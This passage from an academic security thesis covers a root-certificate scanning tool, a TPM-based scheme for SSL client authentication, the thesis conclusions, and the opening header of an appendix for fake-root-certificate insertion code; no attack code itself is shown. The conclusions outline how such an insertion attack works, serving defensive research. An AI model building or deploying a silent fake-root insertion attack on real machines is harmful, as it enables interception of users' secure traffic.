CertIndex = CertificatesStore.Certificates.GetEnumerator()
While CertIndex.MoveNext()
If Not (ValidCAs.Contains(Cert.Thumbprint)) Then
’ the Certificate thumbprint was not found in the
’ ValidCAs list, mark the certificate as suspicious
End If
End While
......
End Sub
Figure 6.2: Source code of the Root CA scanning tool
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2. Once the previous step has been completed, the tool enumerates
all installed root CA public keys and searches for any root certificate
that is not included in the genuine root CA public keys list, as shown
in Figure 6.2. If the tool finds a root certificate that is not in the
genuine list, the root certificate is marked as ‘suspicious’. The tool
uses thumbprints to compare root certificates.
3. The results of the previous steps are displayed to the user, with the
suspicious certificates marked. The tool offers the user the possibility
to remove a suspicious certificate or to display the contents of a
certificate.
6.6 Conclusions
As discussed and illustrated in this chapter, the fake root certificates at-
tack is potentially a serious threat. The single point of trust, i.e. the list
of root CA public keys, creates the problem. By default, web browsers
trust the list of installed root CA public keys on the user machine with-
out distinguishing between original root CA public keys, i.e. those shipped
with the browser, and added root CA public keys. Distinguishing between
the two would be useful when the browser is engaged in a secure trans-
action. When the browser receives a certificate signed by an added root
CA, it could alert the user and wait for confirmation before continuing the
transaction.
The scanning tool was implemented on the Microsoft Windows operating
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system and uses Microsoft Windows CryptoAPI services to access the root
public keys store. It would be possible to enhance the tool to support other
browsers and operating systems, e.g. Netscape on Linux.
One limitation of the discussed tool is that, although it can detect fake
root public keys, it cannot distinguish between those deliberately added
and ‘true’ fakes. A database of known fake root certificates could be used
to help support this functionality. The fake root certificates database could
be created by using previously discovered or reported fake root certificates.
When a ‘suspicious’ root certificate is found, the tool would consult the
fake root certificates database to search for the ‘suspicious’ certificate. If
it is found in the database, then the tool could guarantee that the root
certificate is certainly fake.
Another limitation of the tool is that it relies on the services provided
by the Microsoft CryptoAPI. Some of the Microsoft CryptoAPI functions
require user input to operate. For example, when the user requests the
scanning tool to delete a suspicious certificate, the tool makes a call to
a CryptoAPI function to delete the certificate. In turn, the CryptoAPI
function displays a message box asking the user for confirmation. Im-
plementing a library to interact with the root public key store would be
helpful in this situation, and is a topic for further study.
More research is also needed on possible means of protecting end users
against root key insertion attacks. It may be the case that trusted com-
puting technology [11] is useful in this context.
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Most web sites wishing to provide security services for the client-server link
use the SSL/TLS protocol for server authentication and secure session es-
tablishment. SSL/TLS supports mutual authentication, i.e. both server and
client authentication. However, the optional client authentication feature
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of SSL/TLS is not used by most web sites because not every client has
a certified public key. Instead user authentication is typically achieved by
requiring the user to send a password to the server after the establishment
of an SSL-protected channel. Certain attacks rely on this fact, such as web
spoofing and phishing attacks. In this chapter the issue of online user au-
thentication is discussed, and a method for online user authentication using
trusted computing platforms is proposed. The proposed approach makes a
class of phishing attacks ineffective; moreover, the proposed method can
also be used to protect against other online attacks.
Note that much of the material in this chapter has previously been published
in [8].
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7.1 Introduction
Online user authentication is required by many web applications. The au-
thentication level that is required depends on the services being provided
by a particular web application. For example, a simple general purpose web
forum may use cleartext user credentials for authentication. The authenti-
cation information may be stored on the user machine, e.g. using cookies,
for subsequent authentication without requiring the user to resubmit au-
thentication data. By contrast, in a security-sensitive online application
(such as online banking), the use of a cleartext credential would not be suf-
ficient, since an attacker could capture the user credential by monitoring
the communications channel. In such a case a more secure authentication
method is required.
Secure web applications and online services typically use the SSL/TLS [31]
protocol to provide a secure server authentication method, as described in
section 7.2. SSL/TLS supports both server-side and client-side authenti-
cation; however, client-side authentication is not widely used since most
end users do not have the necessary personal public key certificate signed
by a trusted certification authority. Using SSL/TLS for server-side au-
thentication and the secure establishment of shared secret keys, that are
then used to set up a secure channel, eliminates the problem of capture
of cleartext credentials by a malicious intercepter. However, when using
SSL/TLS to secure the communication channel, other methods of attack
to capture credentials exist.
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As described in Chapter 3, Phishing attacks are widely used to gather user
personal information, including usernames and passwords. When using
SSL client-side authentication, the attack technique described in chapter 3
is no longer effective. The attacker can still gather the victim’s personal
authentication information, but the information provided by the client
during the execution of SSL, i.e. a digital signature, will not be usable by
the attacker to impersonate the client to the genuine web site at a later
time; this issue is discussed further in Section 7.2.
In this chapter we propose a method to enable SSL client-side authenti-
cation using functionality available in Trusted Computing Group (TCG)
compliant platforms [11]. Specifically, we propose the use of cryptographic
functions provided by the trusted platform module (TPM) present on any
TCG-compliant platform.
The rest of the chaptrer is organised as follows. Sections 7.2 and 7.3 review
the Secure Socket Layer/Transport Layer Security (SSL/TLS) protocol and
trusted computing platforms. Section 7.4 briefly introduces a method to
prevent phishing attacks using trusted computing. A proposed method
for online user authentication using trusted computing is then discussed in
detail in Section 7.5, and a security analysis is given in Section 7.6. Finally,
Section 7.7 concludes the chapter.
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7.2 SSL/TLS
The SSL/TLS protocol provides data integrity and data confidentiality via
the ‘record protocol’ and entity authentication by means of the ‘handshake
protocol’. The part of the protocol that is of interest here is the handshake
protocol, as outlined in Figure 7.1. The main task of the handshake proto-
col is to provide entity authentication and to set up the parameters required
for subsequent communications security. Specifically, this involves estab-
lishing the master secret and setting up the CipherSpec. The following
paragraphs discuss the handshake protocol in more detail in the context
of web security (although SSL/TLS has wider application).
When a user requests a service from a secure web site, the web browser
sends the ClientHello protocol message to the web server. The web server
replies by sending the ServerHello message, followed by a copy of its cer-
tificate and other optional protocol messages, such as CertificateRequest.
The web browser verifies that the server’s certificate was signed by one
of the trusted certification authorities, and then verifies the ServerKeyEx-
change message, thereby authenticating the web server. After a successful
interchange of authentication messages, data subsequently exchanged can
be protected using keys established as part of the exchange.
One optional element of SSL/TLS that is of particular interest here is the
CertificateRequest protocol message, which can be used to request a client-
side web browser to provide a public key certificate for authentication
of the client to the server. If sent by the web server, the web browser
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Figure 7.1: SSL/TLS protocol message flow (optional messages are shown
in bold)
replies by sending a copy of the client certificate selected by the user,
and a proof of knowledge of the associated private key, i.e. by signing the
‘CertificateVerify’ SSL handshake message. However, this element of the
protocol is typically not used, since most users do not have personal public
key certificates.
7.3 Trusted Computing and TPMs
In this section we introduce the functionality of those components of the
TCG specifications that are relevant to the protocol proposed in sec-
tion 7.5. Detailed descriptions and specifications of TCG can, for example,
be found in [11, 103, 144]. Note that throughout this chapter we assume
the use of a TPM conforming to version 1.2 of the TCG specifications.
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7.3.1 Trusted Platform Module
A trusted platform must have three roots of trust embedded in it, namely,
the root of trust for measurement (RTM), the root of trust for storage
(RTS), and the root of trust for reporting (RTR). The RTM is a com-
puting engine capable of making reliable integrity measurements, and is
controlled by the core root of trust for measurement (CRTM). The RTS
is a computing engine capable of maintaining an accurate summary of in-
tegrity measurements made by the RTM. The RTR is a computing engine
capable of reliably reporting information held by the RTS.
The Trusted Platform Module (TPM) contains the Core Root of Trust for
Measurement (CRTM). It has certain cryptographic capabilities, such as
RSA key generation and encryption, SHA-1 hashing and a random number
generator. It is typically implemented in the form of a chip attached to
a PC motherboard. It contains a set of Platform Configuration Registers
(PCRs) used to store and report the state of the TCG-enabled platform.
It has non-volatile memory that is used to store private keys and identity
information known only to the TPM. For privacy reasons, the TPM can
support more than one identity, as illustrated below.
7.3.2 TPM Identity
Every TPM has a unique RSA key pair called the endorsement key (EK).
The EK would typically be created by the manufacturer of the TPM, and
then embedded into the TPM. The private part of the EK (the PRIVEK)
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is stored in a TPM-shielded location and never leaves the TPM. A TPM-
shielded location is “an area where data is protected against interference
and prying, independent of its form” [145]. Access to the PRIVEK is
achieved through the use of TPM capabilities, which are exposed to soft-
ware running on the host. The public part of the EK (PUBEK) could
be used to identify a platform, and hence export of PUBEK could be a
significant threat to user privacy. A TPM Attestation Identity Key (AIK)
can be used to overcome the privacy concerns associated with platform
identification. An AIK is a 2048-bit RSA key pair used exclusively for sig-
natures, and such a key pair can be generated by a TPM at any time. A
TPM may have more than one AIK, each of which functions as a different
pseudonym for the platform. In order to be able to prove that an AIK
belongs to a trusted platform, the TPM must obtain a certificate for the
AIK public key from a trusted third party, e.g. a special entity known as
a Privacy CA.
Every TPM has an owner, and the owner of a TPM has the right to perform
special operations. The owner of the TPM inserts a shared secret into the
TPM in order to take ownership. The owner of the TPM must use the
authorisation protocol to prove knowledge of the shared secret prior to
performing any special operation. An AIK may have authorisation data
associated with it, which can be used to control access to the AIK. When
a TPM owner creates an AIK it can specify the authorisation data that
is to be associated with the AIK. Whenever a TPM command requests
the TPM to perform an action using the AIK, the TPM verifies that the
conditions specified in the authorisation data hold. It is important to note
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that the AIK can only be used to sign data generated internally to the
TPM.
7.3.3 TCG Software Stack
If an application wishes to interact with the TPM, it will need to use
the TCG Software Stack (TSS), specified in [148]. The TSS architecture
includes the following components, as shown in Figure 7.2.
• The TPM Device Driver is provided by the TPM manufacturer, and
executes in kernel mode.
• The TPM Device Driver Library (TDLL) is provided by the TPM
manufacturer to allow applications running in user mode to access
the services provided by the TPM. It provides a standard interface,
i.e. Tddli, to interact with the TPM.
• The TCG Core Services (TCS) is a user mode system process that
communicates with the TPM through Tddli, and provides all the
functions required to manage and interact with a TPM. TCS has a
standard interface, known as the TSS Core Service Interface (Tcsi).
• The TCG Service Provider (TSP) exposes the TSS Service Provider
Interface (Tspi). Tspi provides an object-oriented interface for appli-
cations to access and utilise the services provided by a TCG-enabled
platform.
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• The Remote Procedure Call (RPC) server marshals TCS functions
and data from one TCG platform to another.
TPM Device Driver
TCG Device Driver Library
TSS Core Services (TCS)
TCG Service Provider
User Application
TCG Service Provider Interface
TSS Core Service Interface
TPM Device Driver Library Interface
User Mode
Kernel Mode
OS System Mode
Figure 7.2: TCG Software Stack (TSS) Architecture
7.4 Preventing Phishing Attacks Using Trusted Computing
This section outlines a method to prevent phishing attacks. This high-level
description is followed by a discussion of existing solutions to this problem.
A comparison of the suggested method with these other approaches is then
given.
7.4.1 Enabling Client-side Authentication
As discussed in Section 7.2, SSL/TLS client side authentication is typically
not performed because of the lack of a client public key certificate. In this
section, a method to automate the process of acquiring a client-side certifi-
cate is proposed, thereby allowing client-side authentication to take place.
The proposed method utilises a subset of the features of a TPM conforming
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to version 1.2 of the TCG specifications to create an SSL client-side cer-
tificate. The method is outlined in Figure 7.3, and a detailed description
of this method is presented in Section 7.5. The approach described here
requires the client browser to interact both with third parties and with the
TPM in order to obtain the necessary certificate. To simplify the process
for users, this could be achieved simply by downloading and installing an
appropriate browser plug-in (from a trusted source).
7.4.1.1 Setup Phase
We suppose that the browser maintains a list of web site/client certificate
associations, which we refer to as the ‘certificate table’. This ‘certificate
table’ is used to send the appropriate client certificate to a particular web
site. The mapping list is not strictly necessary, and the user could have
one certificate that is sent to all web sites requesting a user certificate.
However, having a different certificate for each web site or helps preserve
user privacy.
When a web server requests a client SSL certificate, the web browser
searches the ‘certificate table’ for an entry that matches the requested
web site. If there is no client certificate that corresponds to the requested
web site, the browser requests the TPM to create a new AIK, using the
TPM MakeIdentity command [146, 147]. Once the AIK has been created,
the browser sends the public key part of the AIK to a privacy CA, along
with evidence that the identity was generated on a genuine TPM. This
evidence includes the endorsement, conformance and platform credentials.
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The endorsement credential is a certificate for the TPM’s PUBEK, that
can be used by a third party to uniquely identify a TPM. The conformance
credential is a certificate produced by a conformance authority that asserts
that the TPM conforms to the TCG main specifications. The platform cre-
dential is a certificate, typically issued by the platform manufacturer, that
binds the endorsement credential to the conformance credential. The Pri-
vacy CA inspects the received value and verifies that it was generated on
a genuine TPM. It then signs the received public key using its private key,
and sends the resulting certificate back to the browser.
After receiving the public key certificate from the Privacy CA, the trusted
platform generates another key pair and certifies the newly created public
key using the AIK private key (see Section 7.5 for more details). The
browser then sends the newly generated certificate to the web server in
response to the CertificateRequest SSL handshake protocol message.
The problem remains of securely associating the user identifier in the cer-
tificate with the user name held by the web server. We next describe one
possible procedure to ‘register’ a user certificate. If the user has already
established a user name and password with the web site, then, once the
user certificate has been received and verified by the server, and the SSL
connection established, the user name and password are transferred to the
web server (exactly as in the case where no client-side authentication is
provided). Once the user name and password have been verified, the name
in the user certificate is stored by the web server in conjunction with the
user name. If no user name and password have previously been established,
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then, once the SSL connection is established, the user name and password
are transferred, and again an association is set up in the server database
between the user name and the name in the user certificate.
This combination of user certificate and username/password enables the
web site to use a two-factor process to authenticate the user. This provides
an additional level of security.
7.4.1.2 Using the Client Certificate
After completing the setup phase, mutual authentication can be achieved
whenever necessary. When the user visits the secure web site, the user
certificate along with the user’s signature is sent to authenticate the user.
In addition, and after successful completion of the SSL exchanges, the web
site may require the user to provide his or her password. Having two-
factor authentication minimises the risk of identity theft and the dangers
of a phishing attack.
Web ServerPrivacy CA
Web Browser
1. https request (SSL connection)
2. SSL client-side certificate request
5. Client Certificate
4. PCAResponse message
3. IdentityRequest  message
Figure 7.3: Obtaining a client certificate
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7.4.2 Existing Solutions to Phishing Attacks
This section briefly reviews other solutions to phishing attacks.
7.4.2.1 Client Authentication
In a method proposed by Verisign [150], the user must obtain a public
key certificate from a certification authority and install it in the user’s
personal certificate store. When client-side authentication is required, i.e.
through SSL client-side authentication, the browser prompts the user to
select a certificate from the user’s personal certificate store. The browser
then sends the selected certificate to the web server in reply to the ‘Certifi-
cateRequest’ SSL message, together with a signed CertificateVerify field.
The web server inspects the received certificate and the signature in the
‘CertificateVerify’ message, and grants access accordingly.
This is a typical scenario for the use of SSL client-side authentication.
There are two main problems with this approach. Firstly, the user is
required to generate a key pair and to obtain a certificate for the public
key from a trusted CA. This is a non-trivial process for a na¨ıve user,
especially as the public key typically needs to be transferred to the CA
by some secure means. Secondly, even if a key pair is securely generated,
and a public key certificate successfully obtained, the problem remains of
storing the private key. Storing the private key unprotected on the user
PC leaves open the possibility of compromise.
114
7.4 Preventing Phishing Attacks Using Trusted Computing
Security tokens can be used to provide a secure and controlled storage
medium for client private keys. A security token is a small hardware device
such as smart card or USB token [151]. Security tokens typically provide
a range of key storage and cryptographic functions. Security tokens can
provide two-factor authentication, i.e. something you have (the token) and
something you know (the user password). The computing platform would
need to be equipped with the necessary hardware to interact with the
token, such as a smart card reader or a USB interface.
Another type of security token is known as a One Time Password (OTP)
generator, which uses the concept of one time password [97, Chapter 10] to
authenticate users. A one time password generator token, such as the RSA
Security SecureID [126], has very limited capabilities; its role is simply to
generate an OTP when necessary. When authenticating the user, the user
supplies his/her username and password and then the OTP generated by
the OTP generator. The user is authenticated if the supplied user name
and the OTP matches the OTP generated by the authentication server.
The OTP generator token needs to be synchronised with the authentication
server.
7.4.2.2 Visual Server Authentication
In the approach proposed by Dhamija and Tygar [30, 117], when a user
registers for an online service for the first time, he/she is requested to
choose a unique image that is known to the web site and the user. When
the user tries to login by providing his/her username, the site displays
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the user-chosen image to help the user visually authenticate the server. If
the user-chosen image matches the displayed image, the user continues by
entering his/her password. This method relies on the fact that spoofed
web sites will not be able to display the user’s unique image.
7.4.3 Advantages of the Novel Approach
The proposed method avoids the two main problems associated with the
use of client-side SSL authentication, as outlined in section 7.4.2.1. That is,
the potentially problematic process of generating a key pair and obtaining
a public key certificate can be made completely transparent to the user,
and the problem of secure storage of the private key is solved by storing it
within the TPM. Moreover, the TPM provides means to control the use
of the stored private keys. Of course, use of a secure token also avoids
some of these issues, but is nevertheless a potentially costly and awkward
solution, which can never be completely user-transparent.
In the visual server authentication method, the user is required to remem-
ber web site/image associations to be able to visually authenticate web
servers. Moreover, the method proposed in [30] requires some changes to
be made to both the web server and the SSL protocol.
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In the following two sections the TCG-based approach to client-side au-
thentication is discussed in greater detail. The description is divided into
two parts, covering client certificate creation and subsequent use of the
client certificate to achieve client authentication to the server.
7.5.1 Creating Client Certificates
We first describe what happens when a client visits a server site for the first
time (or at least the first time that this novel authentication approach is to
be used). Figure 7.4 illustrate the steps required to acquire a client certifi-
cate. Note that we are assuming that the browser interacts with the TPM
using the TSS and the required interfaces, as discussed in Section 7.3.3.
1. The browser executes the TPM MakeIdentity command to generate
a new AIK key pair, i.e. to create a new TPM identity. Only the
owner of the TPM can create a new TPM Identity, and owner au-
thorisation is required (see Section 7.3.2). A successful execution of
the command causes a new AIK to be generated within the TPM.
2. The browser then executes the TSS CollateIdentityRequest command
to assemble all the data required by the Privacy CA to attest to
the validity of the newly created TPM identity, and then sends the
IdentityRequest [146] message to the Privacy CA, as shown in Fig-
ure 7.5. The IdentityRequest message includes the endorsement cre-
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 Privacy CA
2. TSS_CollateIdentityRequest
TPM
1. TPM_MakeIdentity
TSS
3. IdentityRequest Message
4. PRCAResponse Message
5. TPM_ActivateIdentity
6. TSS_RecoverTPMIdentity
7. TPM_CreateWrapKey
8. TPM_CertifyKey
Create SKAE
Create Certificate Request
Certified Credential
Submit Certificate Request
Figure 7.4: Creating a Client Certificate
dential, the platform credential and the conformance credential, i.e.
the TCPA IDENTITY PROOF [146]. The IdentityRequest message
is encrypted using a symmetric algorithm and a random session key,
and the session key is itself asymmetrically encrypted using the pub-
lic key of the Privacy CA.
3. When the Privacy CA receives the IdentityRequest message, it de-
crypts the session key using its private key and then decrypts the
message using the session key. It then inspects the message to make
sure that it was generated on a genuine TPM. If the Privacy CA
is confident that the IdentityRequest message was generated by a
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IdentityRequest message (TPM owner → Privacy CA)
• TCPA IDENTITY REQ structure
• conformance, platform and endorsement credentials
PCAResponse message (Privacy CA → TPM owner)
• TCPA SYM CA ATTESTATION structure
• Encrypted TCPA ASYM CA CONTENTS structure
Figure 7.5: Messages Sent to and Received from the Privacy CA
genuine TPM, it replies by sending the PCAResponse [146] message,
see Figure 7.5. The PCAResponse message includes an encrypted
version of the identity credential, which is DER-encoded as an X.509
public key certificate [80]. The identity credential is encrypted using
a secret session key, where the session key is itself encrypted using
the TPM PUBEK.
4. The browser executes the TPM ActivateIdentity command to obtain
the secret session key used to encrypt the identity credential. Since
the session key is encrypted using the TPM PUBEK, only the TPM
can decrypt the session key using the PRIVEK. Moreover, only the
owner of the TPM can activate the new identity, since owner autho-
risation is required.
5. The browser executes the TSS RecoverTPMIdentity command to de-
crypt the identity credential. The secret session key used to encrypt
the identity credential, and the encrypted identity credential itself,
are passed as parameters to the command. If the command exe-
cutes successfully, the TSS RecoverTPMIdentity command returns
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the decrypted identity credential.
6. The private part of the certified AIK, which never leaves the TPM,
cannot be used to sign data external to the TPM, as discussed in Sec-
tion 7.3.2. Hence the received certificate cannot be used for client au-
thentication in the SSL protocol. For this reason, the browser should
create another non-migratable signature key pair (B) for use with
SSL by executing the TPM CreateWrapKey command, and then use
the TPM CertifyKey command to sign the newly created public sig-
nature verification key using the AIK created in step 1. According
to the TCG specifications, the output of the TPM CertifyKey com-
mand is a signature over a TPM CERTIFY INFO structure [146].
That is, although this signed string has some of the properties of a
certificate, i.e. the signature is computed over a public key, it is not in
X.509 format. That is, it cannot be used as a certificate in an SSL ex-
change. One possible method of obtaining an X.509 certificate for use
in the SSL client authentication protocol is for the TPM to provide a
new command that certifies keys and returns an X.509 certificate. It
would be possible to modify the TPM CertifyKey command to out-
put an X.509 certificate. The newly created key (B) would be signed
using the AIK, which is itself signed by the Privacy CA. However,
we do not consider such a solution further here as it would require
changes to the TCG specifications, and hence can only be a solution
in the long term.
A second possible method is to use the Subject Key Attestation Evi-
dence (SKAE) X.509 certificate extension [138]. The objective of the
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SKAE X.509 certificate extension protocol is to prove that a signing
key has been generated by, and is managed by, a TPM. The SKAE
extension, as defined in [138], includes the certified identity credential
obtained in the previous step and the TPM CERTIFY INFO struc-
ture, in addition to other fields. The web browser creates a certificate
request for the public part of the newly created key (B) using either
PKCS#10 [88] or CRMF [105], and includes the SKAE extension as
an attribute. It then submits the certificate request to a CA, see
Figure 7.6. When the CA receives the certificate request, it validates
it and issues an X.509v.3 certificate [64] with the SKAE extension
and sends it back to the web browser. In order to use this method,
the web server must be aware of the SKAE extension in order to
validate and process the TPM-created public key certificate (i.e. the
signed TPM CERTIFY INFO structure). One possible way to avoid
the inclusion of the SKAE extension in the final certificate is for the
CA to validate the SKAE extension before issuing the certificate and
then, if valid, issue a certificate without the SKAE extension. In
such a case, the web server would not need to be aware of the SKAE
extension.
A third possible method is to generate an X.509 certificate from the
signed TPM CERTIFY INFO structure using a certificate transla-
tion service [15]. In this method, both the identity credential certifi-
cate and the TPM CERTIFY INFO structure are sent to a certificate
translation server. The translation server inspects the received values
and, if valid, converts the two structures into a single X.509 certifi-
cate. The use of a certificate translation server eliminates the need
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TPM Client Privacy CA CA
Submit AIK Credential Request
AIK Credential
Certified Credential
Create Key
Create AIK
Certify Key
Create SKAE
Create Certificate Request
Submit Certificate Request
Figure 7.6: Creating an SSL client certificate with SKAE extension, [138,
p.11]
for web server changes, unlike in the SKAE extension method, since
the web server will receive a normal X.509 certificate without any
extensions. Table 7.1 summaries the three approaches to generate
an X.509 certificate.
The next section illustrates how to use the created certificates and the
TCG TPM to support SSL mutual authentication.
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Method TPM Change Client Change Server Change
TPM Command Yes No No
SKAE No No Yes
Certificate Translation No No No
Table 7.1: Comparison of X.509 Certificate creation methods
7.5.2 Using a Client Certificate
When the user visits a secure web site that requests a client-side certificate,
the browser searches the sites/client certificate mapping list for a certificate
that corresponds to the visited web site. If no certificate is associated with
the visited web site, the browser creates a new certificate as described in
Section 7.5.1; otherwise, the browser executes the following steps.
1. The browser executes the TPM LoadKey command to load the key
associated with the visited secure web site. If authorisation data is
associated with the key, the user must provide the authorisation data
in order to load the key.
2. The browser then executes the TPM Sign command to generate the
‘CertificateVerify’ SSL handshake protocol message, and sends the
certificate and the ‘CertificateVerify’ protocol messages to the web
server to authenticate the client. The SSL/TLS protocol messages
continue in the normal way, as described in Section 7.2.
3. In addition to the SSL client-side authentication, the web server may
request the user to provide a username/password combination to
support two-factor authentication.
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More than one AIK can be associated with the same site, as described in
Section 7.5. When the user certificate is not available, for example if the
user is running on another platform that is not TCG-complaint, email-
based identification and authentication [51] could be used to identify and
authenticate the user. In this case, the user supplies his/her credential
(i.e. username/password combination) to the online web application and
request the email-based identification and authentication service. The on-
line web application sends the user an email message using the email ad-
dress that the user supplied on registration. The email message contains
a one time password that the user could use to access the online web ap-
plication. Moreover, the described procedure could be used to register a
new certificate for a pre-registered user.
Secure storage for certificates and private keys is achieved by using the
secure storage capabilities of the TPM. According to the TCG specifica-
tions, the private part of the AIK and the non-migratable keys never leave
the TPM. Moreover, the use of the keys can be controlled by setting a
password, or ‘authdata’, at the time of creation. The ‘authdata’ must be
presented to the TPM whenever use of the keys is required.
Mobility of client certificates can be achieved by using the Certifiable Mi-
gratable Key (CMK) feature introduced in TPM version 1.2. The mi-
gration process is controlled to ensure that the key is moved between
two TPMs. To create a CMK, the TPM CMK CreateKey TPM com-
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mand must be executed. The TPM CMK CreateKey command is similar
to the TPM CreateWrapKey command, but owner authorisation is re-
quired. To migrate the key from one trusted platform to another, the
TPM MigrateKey command needs to be executed.
7.7 Conclusions and Future Work
This chapter proposes a method for online user authentication using trusted
computing. The proposed method requires no changes to be made to web
servers or the SSL protocol; however, a Web browser (or a browser plu-
gin) that supports a TCG-complaint platform is required. The proposed
method achieves two-factor authentication by using both the client-side
certificate and a username/password combination for authentication. In
order to create a client certificate, the proposed method relies on a trusted
third party, i.e. the Privacy CA. A prototype of the proposed trusted com-
puting based solution is currently being planned.
Another possible method of authenticating clients with a TCG-enabled
platform is to use Direct Anonymous Attestation (DAA) [17]. One ad-
vantage of using DAA instead of the Privacy CA is that it preserves the
privacy of the user of the TCG-enabled platform. However, using DAA
to create a client SSL certificate requires some changes to the SSL/TLS
protocol, as discussed in [12]. The use of DAA to authenticate a user to a
web server is a possible topic for future research.
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This chapter presents the overall conclusions of this thesis and gives some
directions for further research.
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8.1 Summary and Conclusions
This thesis considers a range of threats to end user security that arise
from exploiting security-sensitive applications that interact with the cryp-
tographic services provided by the operating system. We have also de-
scribed possible countermeasures to address such attacks. We believe that,
in the case of practical end user security, the attack and solution approach
pursued in this thesis is far more useful than a more theoretical approach.
We are not claiming that we do not need theoretical approaches to security
problems, but instead that the two possible approaches complement each
other.
End user applications are becoming more complex and sophisticated. Of-
ten, application developers are not security experts, and many applications
utilise and rely on the cryptographic services provided by the operating
system or third parties. The gap between the application developers and
the security experts, as well as the lack of end user security awareness and
education, has created a range of new end user security vulnerabilities. In
this thesis, possible attacks on security-sensitive end user applications were
identified, and countermeasures were suggested. The attacks described in
this thesis require either physical or remote access to the end user com-
puting environment. The attacks may be achieved remotely by exploiting
an end user application or locally by installing malicious software.
The notion of dynamic content, as discussed in Section 3.2.3, has enabled
the creation of flexible and content rich documents. However, it has also
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created new security vulnerabilities that utilise the dynamic content fea-
tures. Chapter 4 described a method to attack digital signatures using
dynamic content and proposed a novel solution to avoid the attack. The
proposed solution requires both the application program and the digital
signature program to be aware of each other. This requirement would
bridge the gap between the application developers and the security ex-
perts, as described above. The dynamic content attack does not attack
the digital signature algorithms themselves but instead attacks the appli-
cation that uses the cryptographic services.
Chapter 5 contains a description of an attack on the root public key certifi-
cate store. The security issue of inserting a fake root public key certificate
is well known, and has been discussed in the literature. However, writing
code to achieve the attack without user knowledge or intervention has not
been described before. The code size is very small (around 1 Kbytes), and
the software can be executed on the user PC as a result of a remote code
execution exploit.
In Chapter 6, the design and implementation of a tool to address the attack
described in Chapter 5 is described. This scanning tool has a database
containing the ‘genuine’ root public keys that are bundled with Internet
Explorer (IE) version 6. The database is created at compile time, and is
limited to IE version 6. The use of the scanning tool is limited to the
range of browsers that it supports. Supporting other browsers, such as
Mozilla/Netscape, and creating a dynamic database of ‘genuine’ public
key certificates, would be two valuable additions to the scanning tool.
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Online identity theft is becoming more common, and is causing significant
financial losses to both end users and enterprises. SSL/TLS is the de
facto standard for secure online transactions. Whilst SSL/TLS supports
both client and server authentication, SSL client-side authentication is
not widely used, and only server-side authentication is supported by most
web sites. In Chapter 7, a solution using trusted computing technology is
described that overcomes many of the obstacles that prevent web sites from
using SSL client-side authentication. Automating the process of acquiring
an SSL client-side certificate and providing a secure and controlled storage
for user’s private key are two advantages of the proposed solution.
8.2 Directions for Future Research
Throughout this thesis we have identified directions for further research.
The following list summarises future research issues of particular impor-
tance.
1. The current client application architecture does not guarantee a
trusted path between the user and the application program or the
operating system. Creating a trusted path between the end user and
the application program, as well as the operating system compo-
nents, would avoid must of the attacks discussed in this thesis. The
trusted path would normally begin at the input device and end at
the physical display. We believe that a trusted computing platform
and the TPM would be useful in creating such a trusted path. How-
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ever, hardware enhancements would be required in order to support
such a technology; for more information about trusted paths see, for
example, [9, 52, 143, 158, 160].
We believe that, in order to avoid most of the attacks described in
this thesis, certain changes to the client application architecture are
required. Every application that requires cryptographic services pro-
vided by the operating system should include certain cryptographic
services to be used to establish a secure and trusted path. For ex-
ample, every application could be equipped with a digital certificate,
that could be used to establish a secure communication path be-
tween the application and the operating system cryptographic ser-
vices. Moreover, the operating system services could have a certifi-
cate, or a set of certificates, for each service. Using the proposed
method every application requiring secure communications with the
operating system cryptographic services would be able to establish
an authentic and secure communication path.
2. A variety of classes of malicious software exist (such as Viruses, Tro-
jan Horses, and Spyware). Many types of malicious software can
be detected and removed using well known countermeasures, such
as antivirus or spyware removal tools. One particularly dangerous
means of attack on a PC is the keylogger, a program that records user
keystrokes without being detected by the end user. It then stores the
user keystrokes, including such information as usernames and pass-
words, on the hard disk for later access by the malicious party. It
can also sends the user keystrokes via email or other communication
channel to the malicious party.
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In general, keyloggers can be either software or hardware based.
Whilst a software based keylogger could be detected by most an-
tivirus software, detecting a hardware based keylogger would not be
possible without a close physical examination of the PC. Creating a
‘Secure Keyboard’ that would protect the user keystrokes from being
exposed to a hardware based keylogger would be a worthwhile topic
for further research.
The design of the secure keyboard should take into account the pos-
sible attacks described in this thesis. We envisage three components
in such a secure keyboard system; the keyboard hardware, the op-
erating system keyboard driver, and the application program. One
possible way to minimise the gap between the three components is
by creating a secure path between the client application and the OS
keyboard driver, and another secure path between the operating sys-
tem keyboard driver and the keyboard hardware. Whenever a client
application requires a user input, it establishes a secure path to the
OS keyboard driver. Next, the OS keyboard driver establishes a se-
cure path to the keyboard hardware. Whenever the user presses a
key on the keyboard, the key code is encrypted and then sent to
the keyboard driver, which in turn sends the encrypted key code to
the client application. It is worth noting that every component in
the described system implements cryptographic services in order to
support the proposed system.
3. The attack described in Chapter 5 would not have been possible if
there were secure and controlled access to the list of root certificates.
One possible approach is to minimise the gap between the application
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program and the cryptographic services provided by the operating
system. It could be done by establishing a secure communication
channel between the application program and the cryptographic ser-
vices.
Another possible approach to secure and control the access to the
list of root certificates installed on an end user computing environ-
ment would be to store all root certificates encrypted under the TPM
Storage Root Key (SRK). The TPM could control the addition or
deletion of root certificates by requesting platform owner authori-
sation. The use of trusted computing technology and the TPM to
provide a secure and controlled access and storage for root certificates
is a possible area for further research.
4. The creation of an online database or service that tracks and stores
known fake root keys would enable an extremely valuable enhance-
ment to the tool described in chapter 6. The database would be simi-
lar to the virus definition database used with most antivirus software.
The database would ideally be updated with newly discovered fake
root public keys whenever the scanning tool described in Chapter 6
detects a truly fake root public key. As a consequence, the scanning
tool would have less false-positive, or ‘suspicious’, results.
5. The scanning tool described in Chapter 6 supports IE running on a
Microsoft Windows operating system. Enhancing and extending the
scanning tool to support other web browsers (such as Netscape and
FireFox) and other operating systems (such as Linux and Mac) is a
possible direction for further research.
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6. A number of security experts have expressed concerns about the
privacy issues that arise when using the TPM Endorsement Key
(EK) and the Attestation Identity Key (AIK) provided by an TCG-
compliant trusted platform [19, 118]. Since the EK is unique for
every TPM, tracking and identifying the user is possible. Direct
Anonymous Attestation (DAA), as described in Chapter 7, was in-
troduced to overcome this issue. Supporting SSL/TLS client-side
authentication with DAA is an issue that requires further research.
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Appendix A
Inserting Fake Root Certificate Source
Code
This appendix provides the source code of the ‘Inserting Fake Root Certifi-
cate’ attack described in Chapter 5. Appendix A.1 list the source code for
implementations of the attack using the Cryptographic Application Pro-
gramming Interfaced (CryptoAPI). Appendix A.2 list the source code of
the attack using the Cryptographic Application Programming Interface with
Component Object Model support (CAPICOM).
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A.1 Using CryptoAPI
//******************************************************************************
//
// A program to install a fake root certificate into the root certificate store.
//
